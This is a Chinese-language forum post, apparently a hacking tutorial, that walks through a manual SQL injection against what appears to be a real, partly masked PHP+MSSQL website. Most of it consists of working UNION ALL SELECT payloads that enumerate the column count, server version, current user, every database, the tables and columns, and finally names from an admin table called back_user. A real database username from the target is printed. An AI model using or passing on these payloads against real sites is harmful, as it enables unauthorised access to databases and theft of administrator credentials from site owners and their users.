TA的每日心情 | 奋斗 2019-5-22 23:11 |
---|
签到天数: 14 天 [LV.3]偶尔看看II
|
一般的管理员都会采用PHP+MYSQL的方式,毕竟这也是一个主流的架构方式,不过某些变态的就采用了PHP+MSSQL的架构,虽然不能说太难,但是如果手中没有工具的话,可能也要费一点周折了
今天我们的实例网站是http://www.XXX.com/cbs_xx.php?cbs_id=415网站我还是打上码吧,
我们先来看一下是否有注入,习惯性的加个'来看一下
看来是有注入的,下面来看一下字段就是ORDER BY 这个我想大家都会,我就不说了,最后貌似是三十个字段
然后就来构造SQL语句吧
这里如果构造像
union+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 --
这样的语句显示就会不正确,那么我们如何来构造呢
习科上面的大牛已经给出了一个方式,就是用UNION+ALL+SELECT 代替UNION+SELECT ,并且用NULL代替数字,知道页面显示正常之后构建不存在的页面,然后挨个替换,找出显示位
那么我们构造的语句就应该是这样的
URL+union+all+select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --
我们可以看到回显已经正确了 QQ截图20130301153551.jpg ,打码技术有限,大家将就着看一下吧
接下来我们来试试找出显示位吧
-415+union+all+select 1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --
挨个替换就行了,最后,我找到第四个就是显示位 QQ截图20130301154122.jpg
下面来看一下版本
-415+union+all+select null,null,null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --
sql 2000的,然后就来看一下当前用户是什么
-415+union+all+select null,null,null,user,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --
用户是rtbooklys*@#0529,好了,我们来看看都有什么数据库吧,爆库开始……
先来看一下当前的数据库是什么,
-415+union+all+select null,null,null,db_name(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --
这里不知道为什么sql语句被转换成这样了,还请知道的告知
-415+union+all+select null%2Cnull%2Cnull%2Cdb_NAME %2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull-#1572375432181028656
老是需要把后面修改的那串字符删掉才能爆出来当前库rtbook
我们是不是可以把所有的裤子全看一边呢,当然可以,sql语句如下:
-415+union+all+select null%2Cnull%2Cnull%2CNAME%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull+from+master.dbo.sysdatabases+where+dbid=1
后来我用一个手工注入辅助工具,总算是不转换了
依次变换后面的dbid最后爆出来所有的库
master
tempdb
model
msdb
pubs
Northwind
rtqikan
rtbook
zaixiandaku
所有的库都出来了,我们来看一下当前库中的表吧
-415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null +from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85))--
其中两个地方要填写数据库名,格式是 数据库名.dbo.sysobjects,总过两个,要是一样的。如果不是当前的数据库,这就成了跨库查询,可能有的虚拟主机设置权限不让跨库查询。
括号里的最后一句: (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85)
这里面变化 top XX name 里面的数字即可,这个XX是表的序号。没什么说的,就是一个相关子查询,学过SQL语句的应该知道
第一个是cbs_tj
cbs_tjb
cbs_xg
然后依次爆出即可,连着爆了五六个都没爆出看着像管理员表的,最后,终于看到一个表back_user表,看着像管理员表
下面我们就来看看怎么列出库中的字段
这里分为两步,首先我们需要获得库ID
依照惯例:sql:
union+all+select null,null,null,id,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 8 name from rtbook.dbo.sysobjects where xtype=CHAR(85))--
第二个括号中的8必须是在前面爆库的时候rtbook对应的N
得到的序号是:181575685
这个序号下面一步中要用到
开始:
-415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from rtbook.dbo.syscolumns where ID=181575685 and name not in (select top 1 name from rtbook.dbo.syscolumns where ID=181575685)--
这样就可以列出rtbook中的所有的列名
得到表名,字段名就可以查询其中的内容了
union+all+select null,null,null,user_name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from back_user -- |
|